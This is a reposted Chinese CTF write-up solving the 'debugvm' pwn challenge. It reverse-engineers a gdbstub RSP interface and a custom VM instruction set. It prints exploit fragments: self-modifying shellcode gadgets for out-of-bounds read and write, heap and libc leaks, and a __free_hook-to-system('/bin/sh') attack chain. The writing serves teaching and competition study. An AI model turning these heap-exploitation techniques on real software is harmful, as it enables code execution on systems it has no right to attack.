从一道线下赛题目看VM类Pwn题目-debugvm

栏目: C · 发布时间: 5年前

内容简介:这是一道今年4月份第二届全国强网杯线下赛时候的题目,最近在线下抓取的exp流量辅助之下终于得以完成。其他几道难题好像网上都能找到相关解题思路了,而唯独这道题还没有。完成后特地花时间完成本文来与大家分享学习。此题的难点主要有两个,首先是对通讯协议的逆向与构造,其次就是对虚拟机指令集的逆向与分析。需要一提的是,以下的解法只是其中的一种,题目本身存在不止一个漏洞,从各位神仙大佬的exp流量来看,至少存在两个漏洞,利用的方法也有多种。题目文件请从附件下载。刚拿到这道题目绝对是有一种无从下手的感觉,首先看一下题目开

这是一道今年4月份第二届全国强网杯线下赛时候的题目,最近在线下抓取的exp流量辅助之下终于得以完成。其他几道难题好像网上都能找到相关解题思路了,而唯独这道题还没有。完成后特地花时间完成本文来与大家分享学习。

此题的难点主要有两个,首先是对通讯协议的逆向与构造,其次就是对虚拟机指令集的逆向与分析。需要一提的是,以下的解法只是其中的一种,题目本身存在不止一个漏洞,从各位神仙大佬的exp流量来看,至少存在两个漏洞,利用的方法也有多种。题目文件请从附件下载。

找到突破口

刚拿到这道题目绝对是有一种无从下手的感觉,首先看一下题目开的保护。

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

保护还是开得比较全面的,但是留下一个PIE。

直接运行以后只会显示welcome,输入任意字符串以后也不会有进一步的交互提示。

从一道线下赛题目看VM类Pwn题目-debugvm

打开ida反编译之后稍微跟踪一下函数就会发现有一个代码量比较大的switch语句,用ida的流程图功能展示如下:

从一道线下赛题目看VM类Pwn题目-debugvm

稍有经验的选手们都可能知道,如果反编译出来的代码存在一个很大的swtich语句,其中存在嵌套结构的,这样的情况很有可能就是一个虚拟机,或者是一个解释器。

看到代码量这么大的函数不好下手,我们换一个思路,从字符串下手。

从一道线下赛题目看VM类Pwn题目-debugvm

字符串里面提供的信息也是少得可怜,就选择一个看起来最特别的放到google搜一下好了。

马上就能看到提示说字符串出现在qemu里面一个gdbstub组件里面:

gdbstub.c

把这份源码下载下来,和ida里面反编译的源码对照,就能把其中一些函数名确认下来了,根据源码我们不难确定binary里面调用了gdbstub的 gdb_handlesiggdb_handle_packet 函数,当然也包块其他的一些辅助函数,例如 hextommemput_packet 。而在 gdb_handlesig 的尾部有一个 custom_read 函数(自定义名称)

从一道线下赛题目看VM类Pwn题目-debugvm

里面出现了整个程序唯一一个 read 函数,这里就是程序用来获取输入内容的地方。

从一道线下赛题目看VM类Pwn题目-debugvm

理清一下这部分的逻辑,根据上面两张截图的代码我们可以了解到,程序会从 stdin 获取用户的输入,然后把输入交给 gdb_read_byte 这个函数去解析处理,所以我们要通过gdbstub的解析模块对程序进行输入操作。

gdbstub

再回到gdbstub第一次进入我们视线的地方,发现这是一个qemu内置的模块,它的作用是提供一个接口给gdb与qemu的虚拟环境进行调试。这也正好吻合了题目的名字——debugvm。既然是内含了一个gdb调试的接口,何不就直接通过gdb链接测试一下?

我们直接借助 ncat 这个 工具 打开把程序的I/O转发到一个本地端口:

ncat -vc ./debug-vm -kl 0.0.0.0 4444

然后直接用gdb连接上去看一下,打开gdb以后运行命令

target remote :4444

咦,好像有戏,连接成功,并且输出了相关寄存器的状态

从一道线下赛题目看VM类Pwn题目-debugvm

尝试一下基本的命令,如果直接用 next 命令,程序会卡住没有返回。如果用 continue 命令,可以观察到有几个寄存器的值发生了变化,而且程序会报SIGKILL错误。

从一道线下赛题目看VM类Pwn题目-debugvm

测试一下其他一些命令,发现hexdump竟然可以正常使用,用时还能往段地址上面写数据。

从一道线下赛题目看VM类Pwn题目-debugvm

gdb remote protocol

通过以上简单的测试我们可以确定,程序内置的是一个阉割版的gdb remote server接口(我一开始还天真地以为通过p命令往虚拟机内存写上x86的shellcode就可以执行了)。首先还是先搞懂gdb的通讯协议吧。先是找到了一条命令,能够让gdb显示通讯包的内容:

set debug remote 1

部分的输出如下图

从一道线下赛题目看VM类Pwn题目-debugvm

直观判断的话,发送的数据包都会以 $ 开头以 # 加两位数字结束。查阅相关资料后得到具体的编码方案。

从一道线下赛题目看VM类Pwn题目-debugvm

如上图所示,包的内容会以16进制的形式来编码(enhex), # 后面的两位数字是校验码,具体的计算方式是数据包中所有字符求和再用256求余数。

而数据包的内容,也就是RSP协议的载体,将会是gdb接收的命令,这里选取几个比较重要的命令展示,其余命令请见参考资料1。

  • g: 返回所有寄存器的值
    send: $g#67
    received: 00000000000000001407404000000000f03f008000000000100800800000000000000000000000000807404000000000000000800000000000000000000000000004000000000000000000000000000000000000000000004c0740400000000000000000000000000100000000000000000000000000000078030080000000001f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  • p: 返回指定寄存器的值
  • P: 写入指定寄存器的值
    send: $p94#dd
    received: ffffffffffffffff
    send: $P90=2301000000000000#fc
    received: OK
  • m addr,length:读取指定内存数据
  • M addr,lenght:写入指定内存数据
    send: $m0,4#fd
    received: 00000000
    send: $M0,4:23010000#9d
    received: OK
  • Z0,addr,kind 在指定地址下断点
  • z0,addr,kind 清楚指定地址的断点
    send: $Z0,0,2#44
    received: OK
  • c: 继续运行程序,到断点会停下来

本篇writeup涉及的gdb指令基本上就这么多,如果对比源码和反编译的代码还可以发现,程序阉割了一个重要的 s 指令,也就是原本用来进行单步调试的只能,这也就是为什么我们刚刚测试的时候没有办法通过 next 指令来进行跟踪。但是不要紧,通过 break 下断点和 continue 的组合,仍然可以达到单步调试的效果。

构建通讯组件

为了节省时间,这时候我们先上github找一找有没有现成的通讯模块可以供我们使用。找到一个 python 的库 pyrsp ,相当于一个rsp的客户端,可以通过python来与gdb remote server进行交互。起先还是准备用pyrsp加上ncat转发端口的方式来进行调试,但是这样的话用gdb调试debugvm程序本身就比较麻烦,毕竟攻击对象是debugvm,我们需要找到vm里面的漏洞然后从debugvm的层面去进行攻击才能获取到shellcode。

最后还是用传统的pwntools来编写exp,这样调试起来也比较方便,但是要把pyrsp里面的一些功能函数给迁移到exp当中。其中构造rsp数据包的 pack 函数可以直接导入使用,而其他的一些命令则重新借用pwntools的函数封装起来。以下是部分代码。

from utils import * # 来自pyrsp的utils模块
BITSIZE = 32
REGS = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9',
        'r10', 'r11', 'r12', 'r13', 'r14', 'r15', 'flag', 'pc', 'sp', 'foo1', 'foo2'
        'counter', 'foo3'] # vm定义的各个寄存器,后面会讲到是如何分析出来的

def rc(): # receive
    resp = p.recvuntil('#') + p.recv(2) 
    return resp[2:-3]

def sd(content): # send
    p.send(pack(content)) # pack是pyrsp提供的数据包打包函数

def cmd(content):
    sd(content)
    return rc()

def get_regs():
    resp = cmd('g')
    regs=dict(zip(REGS,(switch_endian(reg) for reg in split_by_n(resp,BITSIZE>>2))))
    output = "\n".join(["%s:%s" % (r, regs.get(r)) for r in REGS])
    p.info(output)
    return regs

def store(addr, data):
    resp = cmd('M%x,%x:%s'%(addr, addr + len(data), enhex(data)))
    return addr + len(data)

def set_break(addr): 
    resp = cmd('Z0,%x,2' % addr)
    p.info('set bp at: 0x%x' % addr)

def del_break(addr):
    resp = cmd('z0,%x,2' % addr)
    p.info('del bp at: 0x%x' % addr)

其他的gdb指令都可以通过以上这种方式封装好,到这里已经可以方便地控制程序内部的vm运行指令。

自定义指令集

起先还以为vm的指令集会是现成的,于是翻遍了qemu里面各种架构的源码,发现没有一个是对应起来的。后来看到知乎上面大佬们的赛后评价分析 如何评价2018强网杯线下赛? - 知乎 ,才知道这是一个 手写的新指令集 , 在佩服出题人之余,只好老老实实地准备逆向死磕指令集代码。

逆向

先贴上一份标注好的main函数代码

从一道线下赛题目看VM类Pwn题目-debugvm

程序在入口处就分配了一段长度为0x5c的空间,根据上下文连蒙带猜,可以分析出这是保存cpu状态的一个结构体,所有的寄存器信息都会保存在这里面。里面有r0-r15,16个通用寄存器,还有pc,sp这样的特殊寄存器。每个寄存器都是32位的长度,还有一些看不出作用的就先随便起一个名字。

struct __attribute__((aligned(4))) cpu_state
{
  __int32 r1;
  __int32 r2;
  __int32 r3;
  __int32 r4;
  __int32 r5;
  __int32 r6;
  __int32 r7;
  __int32 r8;
  __int32 r9;
  __int32 r10;
  __int32 r11;
  __int32 r12;
  __int32 r13;
  __int32 r14;
  __int32 r15;
  __int32 r16;
  __int32 flag;
  __int32 PC;
  __int32 sp;
  __int32 foo1;
  __int32 foo2;
  __int32 counter;
  __int32 w;
};

在main函数的第12行调用了一个对cpu_state结构体初始化的函数init_cpu()

从一道线下赛题目看VM类Pwn题目-debugvm

里面主要是对特殊寄存器如pc,sp进行初始化,同时分配了一段长度为0x1000的空间,相信这就是vm内部的代码段了,下面还定义了两个全局变量 CODE_STARTCODE_END 用来标定代码段的起始与结束,代码段长度为0x800,结束过后就是sp指向的栈空间。然后这里还往代码段写入了几条指令,也就是我们之前在gdb里面用 hexdump 指令看到的数据。

初始化过后会通过 gdb_handlesig 函数等待stdin传过来的gdb指令,收到运行的信号以后,程序就会进入main函数16-33行的这个while循环。

从一道线下赛题目看VM类Pwn题目-debugvm

main函数第20行的 parse 函数是用来检测指令的合法性的,也就是先解析一遍代码段的机器码,如果发现机器码出错,就不会运行这部分代码,直接返回 gdb_handlesig 等待gdb传来的指令。如果机器码合法通过检测,则会进入到第30行的 exec 函数,这里就是真正执行虚拟机代码的地方。

从一道线下赛题目看VM类Pwn题目-debugvm

分析到这里,相信比赛中做出题目的大佬都是直奔主题,直接检视指令集中最可能有问题的地方,多数会是一些内存边界检查缺陷,能够造成虚拟机里面的代码对虚拟机外部的数据进行读写从而达到虚拟机逃逸的目的。所以其实主要关注那些对内存进行读写操作的指令会比较直接。本着学习的目的,我花了比较长的时间手动把整个指令集给逆向出来了。

逆向的方法主要是来回比对 parse 函数和 exec 函数之间的关系,分清楚opcode和参数的位置,其实有反编译代码的话不算太难,多花一点时间就能理清楚。在手动逆向过程中我有一个思考,对于这种代码量比较大,但是存在一定模式的工作,能不能通过符号化执行(symbolic execution)的技术来达到半自动,甚至是全自动分析的目的呢?

逆向整理出来一份指令集的表格(有些指令名称不一定准确,但基本能代表opcode的作用),其中每一格代表1个byte,比如第三行MOV指令占用6个byte,opcode是0x42,第一个参数是长度为1byte的寄存器编号,第二个参数是长度为dword(4byte)的一个整型数。

从一道线下赛题目看VM类Pwn题目-debugvm

先来看一下这个自定义指令集一些比较特别的地方。

  1. 提供两种算术操作,ADD和SUB指令,并没有MUL和DIV指令。
  2. 提供三种逻辑操作,AND,OR,XOR指令
  3. 多个指令都提供了寄存器与寄存器之间,或者寄存器与立即数之间的操作,通过opcode >> 6这样的方式来进行区分。例如0x2代表两个寄存器之间的赋值,0x42就代表把立即数赋值给寄存器。
  4. 指令集还提供了LDR和STR这两种指令,这在X86中是没有的,但是ARM里面有,LDR能够从内存中读取内容存放到寄存器里面,STR则是将寄存器的内容存放都指定内存地址当中。结合上面越界读写的经验,这两个命令列为重点观察对象。

编写指令集汇编组件

分析出来指令集的表格,我们很容易就能够编写出一个简易的汇编组件,这里给出几个示例

def ADDN(reg, number):
    return p8(0x43) + p8(reg) + p32(number)

def MOVN(reg, offset):
    return p8(0x42) + p8(reg) + p32(offset)

def PUSHN(num):
    return p8(0x4e) + p32(num)

def LDR(reg, addr):
    return p8(0xa) + p8(reg) + p32(addr)

可以看到利用pwntools提供的p系列函数很容易就能组装起这些指令,有了这些汇编组件的辅助,我们就能够更加方便地编写自定义指令集的shellcode。

漏洞分析利用

需要的组件都准备到位了,程序的逻辑也理清楚了,接下来就可以开始真正的漏洞分析与利用了。正片开始!

用概括性的语言来描述一下这个漏洞,应该说这是一个基于shellcode自修改造成的内存越界读写漏洞,其实这个漏洞不难发现,在分析代码的时候我就已经发现了这个问题。但是利用起来还是需要对shellcode进行比较巧妙的构造,这点是在分析大佬们exp流量之后才找到比较好的方法。

parse: LDR-STR

从一道线下赛题目看VM类Pwn题目-debugvm

exec: LDR-STR

从一道线下赛题目看VM类Pwn题目-debugvm

首先观察parse函数里面LDR和STR的实现,看到parse第78行作了一个越界的检测,LDR和STR的第二个参数用来表明操作内存的地址,用相对下一条指令的偏移地址来表示,要是大于0xffc的话就会报错,不能运行。这里先做了unsigned int类型转换再进行比较,不能用负数绕过的方法。对比观察exec函数里面的实现,这里并没有再做相关的越界检测,而且取偏移地址的时候是用signed int的方式来取的,也就是我们有可能对代码空间之前的内存进行读写。

回到main函数的流程,vm从gdb接收到运行指令之后,首先会调用parse函数对代码段的所有代码先做一个合法检测,其中就包括上面说的越界检测。而通过检测之后再exec的函数内部就没越界的限制了。留意到在exec执行的过程中,我们可以让shellcode对自己进行修改,这样就可以绕过parse的合法检测,同时达到越界读写内存的目的。

自修改shellcode

用以下这张图来说明自修改shellcode是如何工作的:

从一道线下赛题目看VM类Pwn题目-debugvm

上面的机器码是我们通过gdb写入到代码区域的,parse函数会把代码判定为合法,因为所有的LDR和STR语句都不存在越界读写的情况。但是到了exec函数里面,当程序执行完第二条语句, STR R15,0x2 ,把R15的数据写入到距离下一条指令2byte的地方,正好覆盖了下一条LDR指令的第二个参数。这样一来第三条指令就变成了 LDR R15,0x1003 ,超过了代码段空间的范围,但是exec函数不会拦截。这样就获得了一个 越界读 的机会。

同理我们也可以构造出 越界写 的shellcode,具体指令如下

MOV R1, 0x1003
STR R1, 0X8
MOV R1, 0xdeadbeef
STR R1, 0

通过这个gadget,程序会把0xdeadbeef写入到距离pc 0x1003的偏移地址。

更进一步的话,可以把这两个读写gadget组装成一个函数方便调用

def arbitrary_read(target_offset, pc):
    # read offset from code_base to r15
    if target_offset >= 0:
        payload = MOVN(0xf, target_offset - pc -0x12)
    else:
        target_offset = target_offset & (2**32 -1)
        payload = MOVN(0xf, target_offset - pc + 0x100e)
    payload += STR(0xf, 0x2)
    payload += LDR(0Xf, 0)
    return payload

def arbitrary_write(target_offset, pc, content):
    # write content from r1 to offset
    if target_offset >= 0:
        payload = MOVN(0x1, target_offset - pc - 0x18)
    else:
        target_offset = target_offset & (2**32-1)
        payload = MOVN(0x1, target_offset -pc + 0x1008)
    payload += STR(0x1, 0x8)
    payload += MOVN(0x1, content)
    payload += STR(0x1, 0)
    return payload

有了越界读写,距离任意内存读写也就不远了,我们需要确认代码段的起始地址,换句话说,我们需要泄露出一个堆地址。

泄露堆地址

如果在ida里面查找 callocfree 调用的话,会发现 gdb_breakpoint_insertgdb_breakpoint_remove 会分别调用这两个函数。

从一道线下赛题目看VM类Pwn题目-debugvm 从一道线下赛题目看VM类Pwn题目-debugvm

所以借助建立和删除断点的操作,我们可以在fastbin的单链表上面找到一个堆上面的指针。然后通过越界读的方式,就可以泄露出堆地址。

# leak heap
payload = arbitrary_read(0x1050, PC) 
PC = store(0, payload)
set_break(PC)
set_break(0x64)
set_break(0x68)
del_break(0x64)
del_break(0x68)
cont()
del_break(PC)
leak_heap = get_reg(0xf)
code_base = leak_heap - 0x1020
p.info("leak_heap: %x" % leak_heap)
p.info("code_base: %x" % code_base)

攻击链思路

有了堆地址以后,我们手上就有了一个任意地址的读写,但是需要注意的是,这个任意地址是32位的地址,在vm内部的时候,还没有办法对64位地址进行读写操作。回顾一下程序开启的保护机制,因为用了 FULL RELRO ,没有办法劫持GOT表。思路还是要回到写 __malloc_hook / __free_hook 上面来。那么需要的步骤如下:

  1. 泄露libc地址
  2. __free_hook 上面写 system 函数地址
  3. 往一个堆上的断点结构写'/bin/sh\x00'字符串
  4. 删除这个断点,触发 system('/bin/sh')

其中第一步,可以通过读取GOT表上的函数地址来完成,只要计算好GOT表与堆上代码段起始地址的偏移,就能读到libc地址,但是这里每次只能读4byte,所以读取要分两次操作完成,最后再拼凑成8byte的libc地址。问题在于写入 __free_hook 的时候,通过构造的gadget,只能对32位地址进行写入操作。

这里需要借助bss段上已有的指针,可以找到 CODE_END 这个指针,是用来标记代码段的结束位置的。而在执行PUSH指令的时候,程序会根据这个指针确定栈顶的位置,然后进行写入。所以只要我们把 CODE_END 这个常量改写成为libc地址,使得计算过后的栈顶地址指向 __free_hook ,再通过push指令就可以完成劫持free hook的操作了。同样,对 CODE_END 进行写入的时候也要分两次来操作。

从一道线下赛题目看VM类Pwn题目-debugvm

此处展示一下作任意读写操作时候的代码片段,因为不支持单步调试的缘故,每次执行新的shellcode之前都要先下断点,continue跑完指令后再把断点删除。

# leak libc low 
offset = (elf.got['puts'] - leak_heap)
payload = arbitrary_read(offset, PC)
PC = store(PC, payload)
set_break(PC)
cont()
del_break(PC)
libc_low = get_reg(0xf)

攻击链思路已经给出,相关的代码片段也都逐一分享过了,为了留个各位自己探索学习的机会,完整的exp就不给出了,相信根据上面的描述不难写构造出一个exp的。

从一道线下赛题目看VM类Pwn题目-debugvm

总结

通过这道题目,我们介绍了对于这种VM类型的pwn题目的解题思路。从开始逆向这道题目到完成本文,前后应该花了不下三天的时间,而比赛当天各个强队都是一个晚上就完成了此题,由此可见与真正强者之间的差距。值得一提的是从大佬们exp的流量中,还发现一些很有意思的攻击方式,比如先往vm的栈上写越界读写shellcode,然后在代码段上填满nop指令,让pc指向栈上面的非法shellcode来绕过parse函数的检测。

就这题而言,首先逆向就是一个难点,如何找到突破口,又如何分析指令集找到漏洞。而找到漏洞后无非就是把漏洞逐步升级的一个过程,从越界读写到任意读写,从任意读写到劫持函数调用控制rip。

最后再次感谢出题方FlappyPig给出这么精彩的题目,也感谢各位神仙大佬的exp流量能够让我在距离比赛几个月后还有机会复现题目,学习到这么有意思的攻击方法。特别鸣谢AAA队伍,此题的思路就是从他们的攻击流量中分析出来的。

参考资料

  1. Howto: GDB Remote Serial Protocol - Writing a RSP Server
  2. Day 29: 深藏不露的GDB - Remote Serial Protocol的秘密

From Cpt.shao@Xp0int


以上所述就是小编给大家介绍的《从一道线下赛题目看VM类Pwn题目-debugvm》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Head First HTML and CSS

Head First HTML and CSS

Elisabeth Robson、Eric Freeman / O'Reilly Media / 2012-9-8 / USD 39.99

Tired of reading HTML books that only make sense after you're an expert? Then it's about time you picked up Head First HTML and really learned HTML. You want to learn HTML so you can finally create th......一起来看看 《Head First HTML and CSS》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换